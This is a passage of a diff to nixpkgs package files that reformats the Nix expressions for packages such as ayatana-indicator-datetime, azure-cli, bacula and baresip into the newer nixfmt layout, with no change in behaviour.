+++ b/pkgs/by-name/ay/ayatana-indicator-datetime/package.nix
@@ -62,30 +62,29 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      ayatana-indicator-messages
-      evolution-data-server
-      glib
-      libaccounts-glib
-      libayatana-common
-      libical
-      libnotify
-      libuuid
-      properties-cpp
-      systemd
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-    ])
-    ++ (with lomiri; [
-      cmake-extras
-      lomiri-schemas
-      lomiri-sounds
-      lomiri-url-dispatcher
-    ]);
+  buildInputs = [
+    ayatana-indicator-messages
+    evolution-data-server
+    glib
+    libaccounts-glib
+    libayatana-common
+    libical
+    libnotify
+    libuuid
+    properties-cpp
+    systemd
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+  ])
+  ++ (with lomiri; [
+    cmake-extras
+    lomiri-schemas
+    lomiri-sounds
+    lomiri-url-dispatcher
+  ]);
 
   nativeCheckInputs = [
     dbus
diff --git a/pkgs/by-name/ay/ayatana-indicator-display/package.nix b/pkgs/by-name/ay/ayatana-indicator-display/package.nix
index 5777b40952d0..d4d24be8b052 100644
--- a/pkgs/by-name/ay/ayatana-indicator-display/package.nix
+++ b/pkgs/by-name/ay/ayatana-indicator-display/package.nix
@@ -62,26 +62,25 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   # TODO Can we get around requiring every desktop's schemas just to avoid segfaulting on some systems?
-  buildInputs =
-    [
-      accountsservice
-      geoclue2
-      gsettings-desktop-schemas # gnome schemas
-      glib
-      libayatana-common
-      libgudev
-      librda
-      libsForQt5.qtbase
-      systemd
-    ]
-    ++ (with lomiri; [
-      cmake-extras
-      lomiri-schemas # lomiri schema
-    ])
-    ++ (with mate; [
-      mate.marco # marco schema
-      mate.mate-settings-daemon # mate mouse schema
-    ]);
+  buildInputs = [
+    accountsservice
+    geoclue2
+    gsettings-desktop-schemas # gnome schemas
+    glib
+    libayatana-common
+    libgudev
+    librda
+    libsForQt5.qtbase
+    systemd
+  ]
+  ++ (with lomiri; [
+    cmake-extras
+    lomiri-schemas # lomiri schema
+  ])
+  ++ (with mate; [
+    mate.marco # marco schema
+    mate.mate-settings-daemon # mate mouse schema
+  ]);
 
   nativeCheckInputs = [
     cppcheck
diff --git a/pkgs/by-name/ay/ayatana-indicator-messages/package.nix b/pkgs/by-name/ay/ayatana-indicator-messages/package.nix
index 0ee00b0b3236..b839b089fd9e 100644
--- a/pkgs/by-name/ay/ayatana-indicator-messages/package.nix
+++ b/pkgs/by-name/ay/ayatana-indicator-messages/package.nix
@@ -38,44 +38,43 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals withDocumentation [ "devdoc" ];
+  ]
+  ++ lib.optionals withDocumentation [ "devdoc" ];
 
-  postPatch =
-    ''
-      # Uses pkg_get_variable, cannot substitute prefix with that
-      substituteInPlace data/CMakeLists.txt \
-        --replace-fail 'pkg_get_variable(SYSTEMD_USER_DIR systemd systemduserunitdir)' 'pkg_get_variable(SYSTEMD_USER_DIR systemd systemduserunitdir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})'
+  postPatch = ''
+    # Uses pkg_get_variable, cannot substitute prefix with that
+    substituteInPlace data/CMakeLists.txt \
+      --replace-fail 'pkg_get_variable(SYSTEMD_USER_DIR systemd systemduserunitdir)' 'pkg_get_variable(SYSTEMD_USER_DIR systemd systemduserunitdir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})'
 
-      # Bad concatenation
-      substituteInPlace libmessaging-menu/messaging-menu.pc.in \
-        --replace-fail "\''${exec_prefix}/@CMAKE_INSTALL_LIBDIR@" '@CMAKE_INSTALL_FULL_LIBDIR@' \
-        --replace-fail "\''${prefix}/@CMAKE_INSTALL_INCLUDEDIR@" '@CMAKE_INSTALL_FULL_INCLUDEDIR@'
+    # Bad concatenation
+    substituteInPlace libmessaging-menu/messaging-menu.pc.in \
+      --replace-fail "\''${exec_prefix}/@CMAKE_INSTALL_LIBDIR@" '@CMAKE_INSTALL_FULL_LIBDIR@' \
+      --replace-fail "\''${prefix}/@CMAKE_INSTALL_INCLUDEDIR@" '@CMAKE_INSTALL_FULL_INCLUDEDIR@'
 
-      # Fix tests with gobject-introspection 1.80 not installing GLib introspection data
-      substituteInPlace tests/CMakeLists.txt \
-        --replace-fail 'GI_TYPELIB_PATH=\"' 'GI_TYPELIB_PATH=\"$GI_TYPELIB_PATH$\{GI_TYPELIB_PATH\:+\:\}'
-    ''
-    + lib.optionalString (!withDocumentation) ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'add_subdirectory(doc)' '# add_subdirectory(doc)'
-    '';
+    # Fix tests with gobject-introspection 1.80 not installing GLib introspection data
+    substituteInPlace tests/CMakeLists.txt \
+      --replace-fail 'GI_TYPELIB_PATH=\"' 'GI_TYPELIB_PATH=\"$GI_TYPELIB_PATH$\{GI_TYPELIB_PATH\:+\:\}'
+  ''
+  + lib.optionalString (!withDocumentation) ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'add_subdirectory(doc)' '# add_subdirectory(doc)'
+  '';
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      glib # For glib-compile-schemas
-      intltool
-      pkg-config
-      vala
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals withDocumentation [
-      docbook_xsl
-      docbook_xml_dtd_45
-      gtk-doc
-    ];
+  nativeBuildInputs = [
+    cmake
+    glib # For glib-compile-schemas
+    intltool
+    pkg-config
+    vala
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals withDocumentation [
+    docbook_xsl
+    docbook_xml_dtd_45
+    gtk-doc
+  ];
 
   buildInputs = [
     accountsservice
diff --git a/pkgs/by-name/ay/ayatana-indicator-power/package.nix b/pkgs/by-name/ay/ayatana-indicator-power/package.nix
index a586f05f1ced..90674e4fd631 100644
--- a/pkgs/by-name/ay/ayatana-indicator-power/package.nix
+++ b/pkgs/by-name/ay/ayatana-indicator-power/package.nix
@@ -51,20 +51,19 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      glib
-      libayatana-common
-      libnotify
-      librda
-      systemd
-    ]
-    ++ (with lomiri; [
-      cmake-extras
-      deviceinfo
-      lomiri-schemas
-      lomiri-sounds
-    ]);
+  buildInputs = [
+    glib
+    libayatana-common
+    libnotify
+    librda
+    systemd
+  ]
+  ++ (with lomiri; [
+    cmake-extras
+    deviceinfo
+    lomiri-schemas
+    lomiri-sounds
+  ]);
 
   nativeCheckInputs = [
     dbus
diff --git a/pkgs/by-name/ay/ayatana-indicator-sound/package.nix b/pkgs/by-name/ay/ayatana-indicator-sound/package.nix
index 24fec1368290..cb21509d75ed 100644
--- a/pkgs/by-name/ay/ayatana-indicator-sound/package.nix
+++ b/pkgs/by-name/ay/ayatana-indicator-sound/package.nix
@@ -62,23 +62,22 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      accountsservice
-      glib
-      gobject-introspection
-      libayatana-common
-      libgee
-      libnotify
-      libpulseaudio
-      libxml2
-      systemd
-    ]
-    ++ (with lomiri; [
-      cmake-extras
-      lomiri-api
-      lomiri-schemas
-    ]);
+  buildInputs = [
+    accountsservice
+    glib
+    gobject-introspection
+    libayatana-common
+    libgee
+    libnotify
+    libpulseaudio
+    libxml2
+    systemd
+  ]
+  ++ (with lomiri; [
+    cmake-extras
+    lomiri-api
+    lomiri-schemas
+  ]);
 
   nativeCheckInputs = [
     dbus
diff --git a/pkgs/by-name/az/azahar/package.nix b/pkgs/by-name/az/azahar/package.nix
index ad726c07c86b..4b320eda3565 100644
--- a/pkgs/by-name/az/azahar/package.nix
+++ b/pkgs/by-name/az/azahar/package.nix
@@ -65,45 +65,44 @@ stdenv.mkDerivation (finalAttrs: {
     qt6.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      boost
-      catch2_3
-      cryptopp
-      cpp-jwt
-      enet
-      fmt
-      ffmpeg_6-headless
-      glslang
-      httplib
-      inih
-      libGL
-      libjack2
-      libpulseaudio
-      libunwind
-      libusb1
-      nlohmann_json
-      openal
-      openssl
-      pipewire
-      portaudio
-      qt6.qtbase
-      qt6.qtmultimedia
-      qt6.qttools
-      qt6.qtwayland
-      soundtouch
-      SDL2
-      sndio
-      spirv-tools
-      vulkan-headers
-      xorg.libX11
-      xorg.libXext
-      zstd
-    ]
-    ++ optionals enableQtTranslations [ qt6.qttools ]
-    ++ optionals enableCubeb [ cubeb ]
-    ++ optionals useDiscordRichPresence [ rapidjson ];
+  buildInputs = [
+    alsa-lib
+    boost
+    catch2_3
+    cryptopp
+    cpp-jwt
+    enet
+    fmt
+    ffmpeg_6-headless
+    glslang
+    httplib
+    inih
+    libGL
+    libjack2
+    libpulseaudio
+    libunwind
+    libusb1
+    nlohmann_json
+    openal
+    openssl
+    pipewire
+    portaudio
+    qt6.qtbase
+    qt6.qtmultimedia
+    qt6.qttools
+    qt6.qtwayland
+    soundtouch
+    SDL2
+    sndio
+    spirv-tools
+    vulkan-headers
+    xorg.libX11
+    xorg.libXext
+    zstd
+  ]
+  ++ optionals enableQtTranslations [ qt6.qttools ]
+  ++ optionals enableCubeb [ cubeb ]
+  ++ optionals useDiscordRichPresence [ rapidjson ];
 
   patches = [
     # Fix boost errors
diff --git a/pkgs/by-name/az/azimuth/package.nix b/pkgs/by-name/az/azimuth/package.nix
index 98680949229f..c0bf9a664cf2 100644
--- a/pkgs/by-name/az/azimuth/package.nix
+++ b/pkgs/by-name/az/azimuth/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation rec {
   makeFlags = [
     "BUILDTYPE=release"
     "INSTALLDIR=$(out)"
-  ] ++ (if installTool then [ "INSTALLTOOL=true" ] else [ "INSTALLTOOL=false" ]);
+  ]
+  ++ (if installTool then [ "INSTALLTOOL=true" ] else [ "INSTALLTOOL=false" ]);
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/az/azpainter/package.nix b/pkgs/by-name/az/azpainter/package.nix
index 256f18b8a7e4..ce31f1cc0fb7 100644
--- a/pkgs/by-name/az/azpainter/package.nix
+++ b/pkgs/by-name/az/azpainter/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
     shared-mime-info # for update-mime-info
     ninja
     pkg-config
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
 
   buildInputs = [
     libX11
@@ -51,7 +52,8 @@ stdenv.mkDerivation rec {
     libtiff
     libwebp
     zlib
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   preBuild = ''
     cd build
diff --git a/pkgs/by-name/az/azure-cli/package.nix b/pkgs/by-name/az/azure-cli/package.nix
index 62bdf047b188..9c677fb64ed5 100644
--- a/pkgs/by-name/az/azure-cli/package.nix
+++ b/pkgs/by-name/az/azure-cli/package.nix
@@ -58,7 +58,8 @@ let
           passthru = {
             updateScript = extensionUpdateScript { inherit pname; };
             tests.azWithExtension = testAzWithExts [ self ];
-          } // args.passthru or { };
+          }
+          // args.passthru or { };
           meta = {
             inherit description;
             inherit (azure-cli.meta) platforms maintainers;
@@ -66,7 +67,8 @@ let
             changelog = "https://github.com/Azure/azure-cli-extensions/blob/main/src/${pname}/HISTORY.rst";
             license = lib.licenses.mit;
             sourceProvenance = [ lib.sourceTypes.fromSource ];
-          } // args.meta or { };
+          }
+          // args.meta or { };
         }
         // (removeAttrs args [
           "url"
@@ -292,19 +294,18 @@ py.pkgs.toPythonApplication (
 
     # wrap the executable so that the python packages are available
     # it's just a shebang script which calls `python -m azure.cli "$@"`
-    postFixup =
-      ''
-        wrapProgram $out/bin/az \
-      ''
-      + lib.optionalString withImmutableConfig ''
-        --set AZURE_IMMUTABLE_DIR $out/etc/azure \
-      ''
-      + lib.optionalString (withExtensions != [ ]) ''
-        --set AZURE_EXTENSION_DIR ${extensionDir} \
-      ''
-      + ''
-        --set PYTHONPATH "${python3.pkgs.makePythonPath propagatedBuildInputs}:$out/${python3.sitePackages}"
-      '';
+    postFixup = ''
+      wrapProgram $out/bin/az \
+    ''
+    + lib.optionalString withImmutableConfig ''
+      --set AZURE_IMMUTABLE_DIR $out/etc/azure \
+    ''
+    + lib.optionalString (withExtensions != [ ]) ''
+      --set AZURE_EXTENSION_DIR ${extensionDir} \
+    ''
+    + ''
+      --set PYTHONPATH "${python3.pkgs.makePythonPath propagatedBuildInputs}:$out/${python3.sitePackages}"
+    '';
 
     doInstallCheck = true;
     installCheckPhase = ''
diff --git a/pkgs/by-name/ba/babeltrace/package.nix b/pkgs/by-name/ba/babeltrace/package.nix
index eb36ac7a0753..da6a3cfe92a5 100644
--- a/pkgs/by-name/ba/babeltrace/package.nix
+++ b/pkgs/by-name/ba/babeltrace/package.nix
@@ -23,20 +23,19 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-Z7Q6qu9clR+nrxpVfPcgGhH+iYdrfCK6CgPLwxbbWpw=";
   };
 
-  nativeBuildInputs =
-    [
-      # The pre-generated ./configure script uses an old autoconf version which
-      # breaks cross-compilation (replaces references to malloc with rpl_malloc).
-      # Re-generate with nixpkgs's autoconf. This requires glib to be present in
-      # nativeBuildInputs for its m4 macros to be present.
-      autoreconfHook
-      glib
-      pkg-config
-    ]
-    ++ lib.optionals enablePython [
-      swig
-      pythonPackages.setuptools
-    ];
+  nativeBuildInputs = [
+    # The pre-generated ./configure script uses an old autoconf version which
+    # breaks cross-compilation (replaces references to malloc with rpl_malloc).
+    # Re-generate with nixpkgs's autoconf. This requires glib to be present in
+    # nativeBuildInputs for its m4 macros to be present.
+    autoreconfHook
+    glib
+    pkg-config
+  ]
+  ++ lib.optionals enablePython [
+    swig
+    pythonPackages.setuptools
+  ];
   buildInputs = [
     glib
     libuuid
@@ -44,20 +43,19 @@ stdenv.mkDerivation (finalAttrs: {
     elfutils
   ];
 
-  configureFlags =
-    [
-      # --enable-debug-info (default) requires the configure script to run host
-      # executables to determine the elfutils library version, which cannot be done
-      # while cross compiling.
-      (lib.enableFeature (stdenv.hostPlatform == stdenv.buildPlatform) "debug-info")
-    ]
-    ++ lib.optionals enablePython [
-      # Using (lib.enableFeature enablePython "python-bindings") makes the
-      # configure script look for python dependencies even when
-      # enablePython==false. Adding the configure flag conditionally seems to
-      # solve this.
-      "--enable-python-bindings"
-    ];
+  configureFlags = [
+    # --enable-debug-info (default) requires the configure script to run host
+    # executables to determine the elfutils library version, which cannot be done
+    # while cross compiling.
+    (lib.enableFeature (stdenv.hostPlatform == stdenv.buildPlatform) "debug-info")
+  ]
+  ++ lib.optionals enablePython [
+    # Using (lib.enableFeature enablePython "python-bindings") makes the
+    # configure script look for python dependencies even when
+    # enablePython==false. Adding the configure flag conditionally seems to
+    # solve this.
+    "--enable-python-bindings"
+  ];
   #
 
   passthru.updateScript = gitUpdater {
diff --git a/pkgs/by-name/ba/babeltrace2/package.nix b/pkgs/by-name/ba/babeltrace2/package.nix
index ec9f15e679f8..cba6565f56f3 100644
--- a/pkgs/by-name/ba/babeltrace2/package.nix
+++ b/pkgs/by-name/ba/babeltrace2/package.nix
@@ -56,28 +56,28 @@ stdenv.mkDerivation rec {
     "dev"
   ];
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-      glib
-      bison
-      flex
-      asciidoc
-      xmlto
-      docbook_xml_dtd_45
-      docbook_xsl
-    ]
-    ++ lib.optionals enablePython [
-      swig
-      pythonPackages.setuptools
-      ensureNewerSourcesForZipFilesHook
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+    glib
+    bison
+    flex
+    asciidoc
+    xmlto
+    docbook_xml_dtd_45
+    docbook_xsl
+  ]
+  ++ lib.optionals enablePython [
+    swig
+    pythonPackages.setuptools
+    ensureNewerSourcesForZipFilesHook
+  ];
 
   buildInputs = [
     glib
     elfutils
-  ] ++ lib.optional enablePython python;
+  ]
+  ++ lib.optional enablePython python;
 
   configureFlags = [
     (lib.enableFeature enablePython "python-bindings")
diff --git a/pkgs/by-name/ba/babl/package.nix b/pkgs/by-name/ba/babl/package.nix
index 9a9c7f5ac305..4028e7a9716c 100644
--- a/pkgs/by-name/ba/babl/package.nix
+++ b/pkgs/by-name/ba/babl/package.nix
@@ -44,15 +44,14 @@ stdenv.mkDerivation (finalAttrs: {
     lcms2
   ];
 
-  mesonFlags =
-    [
-      "-Dprefix-dev=${placeholder "dev"}"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      # Docs are opt-out in native but opt-in in cross builds.
-      "-Dwith-docs=true"
-      "-Denable-gir=true"
-    ];
+  mesonFlags = [
+    "-Dprefix-dev=${placeholder "dev"}"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    # Docs are opt-out in native but opt-in in cross builds.
+    "-Dwith-docs=true"
+    "-Denable-gir=true"
+  ];
 
   postFixup = ''
     # Cannot be in postInstall, otherwise _multioutDocs hook in preFixup will move right back.
diff --git a/pkgs/by-name/ba/backrest/package.nix b/pkgs/by-name/ba/backrest/package.nix
index d323c1ae03c0..964ce510f2bc 100644
--- a/pkgs/by-name/ba/backrest/package.nix
+++ b/pkgs/by-name/ba/backrest/package.nix
@@ -80,16 +80,15 @@ buildGoModule {
 
   checkFlags =
     let
-      skippedTests =
-        [
-          "TestMultihostIndexSnapshots"
-          "TestRunCommand"
-          "TestSnapshot"
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          "TestBackup" # relies on ionice
-          "TestCancelBackup"
-        ];
+      skippedTests = [
+        "TestMultihostIndexSnapshots"
+        "TestRunCommand"
+        "TestSnapshot"
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        "TestBackup" # relies on ionice
+        "TestCancelBackup"
+      ];
     in
     [ "-skip=^${builtins.concatStringsSep "$|^" skippedTests}$" ];
 
diff --git a/pkgs/by-name/ba/bacon/package.nix b/pkgs/by-name/ba/bacon/package.nix
index bb635a085887..a669d73584c7 100644
--- a/pkgs/by-name/ba/bacon/package.nix
+++ b/pkgs/by-name/ba/bacon/package.nix
@@ -43,13 +43,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "sound"
   ];
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-    ]
-    ++ lib.optionals withSound [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals withSound [
+    pkg-config
+  ];
 
   buildInputs = lib.optionals withSound soundDependencies;
 
diff --git a/pkgs/by-name/ba/bacula/package.nix b/pkgs/by-name/ba/bacula/package.nix
index b76e7569aece..74007248fd63 100644
--- a/pkgs/by-name/ba/bacula/package.nix
+++ b/pkgs/by-name/ba/bacula/package.nix
@@ -27,38 +27,36 @@ stdenv.mkDerivation rec {
       --replace "10.*)" "*)"
   '';
 
-  buildInputs =
-    [
-      libpq
-      sqlite
-      zlib
-      ncurses
-      openssl
-      readline
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gettext # bacula requires CoreFoundation, but its `configure` script will only link it when it detects libintl.
-    ]
-    # acl relies on attr, which I can't get to build on darwin
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) acl;
+  buildInputs = [
+    libpq
+    sqlite
+    zlib
+    ncurses
+    openssl
+    readline
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gettext # bacula requires CoreFoundation, but its `configure` script will only link it when it detects libintl.
+  ]
+  # acl relies on attr, which I can't get to build on darwin
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) acl;
 
-  configureFlags =
-    [
-      "--with-sqlite3=${sqlite.dev}"
-      "--with-postgresql=${lib.getDev libpq}"
-      "--with-logdir=/var/log/bacula"
-      "--with-working-dir=/var/lib/bacula"
-      "--mandir=\${out}/share/man"
-    ]
-    ++
-      lib.optional (stdenv.buildPlatform != stdenv.hostPlatform)
-        "ac_cv_func_setpgrp_void=${if stdenv.hostPlatform.isBSD then "no" else "yes"}"
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # bacula’s `configure` script fails to detect CoreFoundation correctly,
-      # but these symbols are available in the nixpkgs CoreFoundation framework.
-      "gt_cv_func_CFLocaleCopyCurrent=yes"
-      "gt_cv_func_CFPreferencesCopyAppValue=yes"
-    ];
+  configureFlags = [
+    "--with-sqlite3=${sqlite.dev}"
+    "--with-postgresql=${lib.getDev libpq}"
+    "--with-logdir=/var/log/bacula"
+    "--with-working-dir=/var/lib/bacula"
+    "--mandir=\${out}/share/man"
+  ]
+  ++
+    lib.optional (stdenv.buildPlatform != stdenv.hostPlatform)
+      "ac_cv_func_setpgrp_void=${if stdenv.hostPlatform.isBSD then "no" else "yes"}"
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # bacula’s `configure` script fails to detect CoreFoundation correctly,
+    # but these symbols are available in the nixpkgs CoreFoundation framework.
+    "gt_cv_func_CFLocaleCopyCurrent=yes"
+    "gt_cv_func_CFPreferencesCopyAppValue=yes"
+  ];
 
   installFlags = [
     "logdir=\${out}/logdir"
diff --git a/pkgs/by-name/ba/balena-cli/package.nix b/pkgs/by-name/ba/balena-cli/package.nix
index 2df1c531049f..9c1a4777b132 100644
--- a/pkgs/by-name/ba/balena-cli/package.nix
+++ b/pkgs/by-name/ba/balena-cli/package.nix
@@ -38,15 +38,14 @@ buildNpmPackage' rec {
   '';
   makeCacheWritable = true;
 
-  nativeBuildInputs =
-    [
-      node-gyp'
-      python3
-      versionCheckHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-    ];
+  nativeBuildInputs = [
+    node-gyp'
+    python3
+    versionCheckHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+  ];
 
   buildInputs =
     lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/ba/bambootracker/package.nix b/pkgs/by-name/ba/bambootracker/package.nix
index 5b96caa3e842..4f9651fef79b 100644
--- a/pkgs/by-name/ba/bambootracker/package.nix
+++ b/pkgs/by-name/ba/bambootracker/package.nix
@@ -57,44 +57,41 @@ stdenv.mkDerivation (finalAttrs: {
       --replace 'equals(QT_MAJOR_VERSION, 5):lessThan(QT_MINOR_VERSION, 12)' 'if(true)'
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ (with qtPackages; [
-      qmake
-      qttools
-      wrapQtAppsHook
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ (with qtPackages; [
+    qmake
+    qttools
+    wrapQtAppsHook
+  ]);
 
-  buildInputs =
+  buildInputs = [
+    rtaudio_6
+    rtmidi
+  ]
+  ++ (
+    with qtPackages;
     [
-      rtaudio_6
-      rtmidi
+      qtbase
     ]
-    ++ (
-      with qtPackages;
-      [
-        qtbase
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        qtwayland
-      ]
-      ++ lib.optionals withQt6 [
-        qt5compat
-      ]
-    );
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      qtwayland
+    ]
+    ++ lib.optionals withQt6 [
+      qt5compat
+    ]
+  );
 
-  qmakeFlags =
-    [
-      "CONFIG+=system_rtaudio"
-      "CONFIG+=system_rtmidi"
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      # Clang is extra-strict about some deprecations
-      # https://github.com/BambooTracker/BambooTracker/issues/506
-      "CONFIG+=no_warnings_are_errors"
-    ];
+  qmakeFlags = [
+    "CONFIG+=system_rtaudio"
+    "CONFIG+=system_rtmidi"
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    # Clang is extra-strict about some deprecations
+    # https://github.com/BambooTracker/BambooTracker/issues/506
+    "CONFIG+=no_warnings_are_errors"
+  ];
 
   postConfigure = "make qmake_all";
 
diff --git a/pkgs/by-name/ba/bambu-studio/package.nix b/pkgs/by-name/ba/bambu-studio/package.nix
index 254e0c1e912e..41b6e354d587 100644
--- a/pkgs/by-name/ba/bambu-studio/package.nix
+++ b/pkgs/by-name/ba/bambu-studio/package.nix
@@ -72,44 +72,43 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      binutils
-      boost186
-      cereal
-      cgal
-      curl
-      dbus
-      eigen
-      expat
-      ffmpeg
-      gcc-unwrapped
-      glew
-      glfw
-      glib
-      glib-networking
-      gmp
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-bad
-      gst_all_1.gst-plugins-good
-      gtk3
-      hicolor-icon-theme
-      ilmbase
-      libpng
-      mpfr
-      nlopt
-      opencascade-occt_7_6
-      openvdb
-      pcre
-      tbb_2021_11
-      webkitgtk_4_0
-      wxGTK'
-      xorg.libX11
-      opencv.cxxdev
-    ]
-    ++ lib.optionals withSystemd [ systemd ]
-    ++ checkInputs;
+  buildInputs = [
+    binutils
+    boost186
+    cereal
+    cgal
+    curl
+    dbus
+    eigen
+    expat
+    ffmpeg
+    gcc-unwrapped
+    glew
+    glfw
+    glib
+    glib-networking
+    gmp
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-bad
+    gst_all_1.gst-plugins-good
+    gtk3
+    hicolor-icon-theme
+    ilmbase
+    libpng
+    mpfr
+    nlopt
+    opencascade-occt_7_6
+    openvdb
+    pcre
+    tbb_2021_11
+    webkitgtk_4_0
+    wxGTK'
+    xorg.libX11
+    opencv.cxxdev
+  ]
+  ++ lib.optionals withSystemd [ systemd ]
+  ++ checkInputs;
 
   patches = [
     # Fix for webkitgtk linking
diff --git a/pkgs/by-name/ba/bamf/package.nix b/pkgs/by-name/ba/bamf/package.nix
index 94276bfa2565..66df815448ba 100644
--- a/pkgs/by-name/ba/bamf/package.nix
+++ b/pkgs/by-name/ba/bamf/package.nix
@@ -26,14 +26,13 @@ stdenv.mkDerivation rec {
   pname = "bamf";
   version = "0.5.6";
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withDocs [
-      "devdoc"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withDocs [
+    "devdoc"
+  ];
 
   src = fetchgit {
     url = "https://git.launchpad.net/~unity-team/bamf";
@@ -74,13 +73,12 @@ stdenv.mkDerivation rec {
       --replace '/usr/lib/systemd/user' '@prefix@/lib/systemd/user'
   '';
 
-  configureFlags =
-    [
-      "--enable-headless-tests"
-    ]
-    ++ lib.optionals withDocs [
-      "--enable-gtk-doc"
-    ];
+  configureFlags = [
+    "--enable-headless-tests"
+  ]
+  ++ lib.optionals withDocs [
+    "--enable-gtk-doc"
+  ];
 
   # Fix paths
   makeFlags = [
diff --git a/pkgs/by-name/ba/baresip/package.nix b/pkgs/by-name/ba/baresip/package.nix
index b0d677f0310d..904042be942e 100644
--- a/pkgs/by-name/ba/baresip/package.nix
+++ b/pkgs/by-name/ba/baresip/package.nix
@@ -38,48 +38,46 @@ stdenv.mkDerivation rec {
     rev = "v${version}";
     hash = "sha256-0huZP1hopHaN5R1Hki6YutpvoASfIHzHMl/Y4czHHMo=";
   };
-  prePatch =
-    ''
-      substituteInPlace cmake/FindGTK3.cmake --replace-fail GTK3_CFLAGS_OTHER ""
-    ''
-    + lib.optionalString (!dbusSupport) ''
-      substituteInPlace cmake/modules.cmake --replace-fail 'list(APPEND MODULES ctrl_dbus)' ""
-    '';
+  prePatch = ''
+    substituteInPlace cmake/FindGTK3.cmake --replace-fail GTK3_CFLAGS_OTHER ""
+  ''
+  + lib.optionalString (!dbusSupport) ''
+    substituteInPlace cmake/modules.cmake --replace-fail 'list(APPEND MODULES ctrl_dbus)' ""
+  '';
   nativeBuildInputs = [
     cmake
     pkg-config
   ];
-  buildInputs =
-    [
-      SDL2
-      alsa-lib
-      cairo
-      celt
-      ffmpeg
-      gsm
-      gtk3
-      libre
-      librem
-      libsndfile
-      libuuid
-      libv4l
-      libvpx
-      mpg123
-      openssl
-      pipewire
-      portaudio
-      spandsp3
-      speex
-      srtp
-      zlib
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-libav
-      gst-plugins-base
-      gst-plugins-bad
-      gst-plugins-good
-    ]);
+  buildInputs = [
+    SDL2
+    alsa-lib
+    cairo
+    celt
+    ffmpeg
+    gsm
+    gtk3
+    libre
+    librem
+    libsndfile
+    libuuid
+    libv4l
+    libvpx
+    mpg123
+    openssl
+    pipewire
+    portaudio
+    spandsp3
+    speex
+    srtp
+    zlib
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-libav
+    gst-plugins-base
+    gst-plugins-bad
+    gst-plugins-good
+  ]);
 
   cmakeFlags = [
     "-DCMAKE_SKIP_BUILD_RPATH=ON"
@@ -89,13 +87,12 @@ stdenv.mkDerivation rec {
     "-DGST_INCLUDE_DIRS=${lib.getDev gst_all_1.gstreamer}/include/gstreamer-1.0"
   ];
 
-  makeFlags =
-    [
-      "PREFIX=$(out)"
-      "CCACHE_DISABLE=1"
-    ]
-    ++ lib.optional (stdenv.cc.cc != null) "SYSROOT_ALT=${stdenv.cc.cc}"
-    ++ lib.optional (stdenv.cc.libc != null) "SYSROOT=${stdenv.cc.libc}";
+  makeFlags = [
+    "PREFIX=$(out)"
+    "CCACHE_DISABLE=1"
+  ]
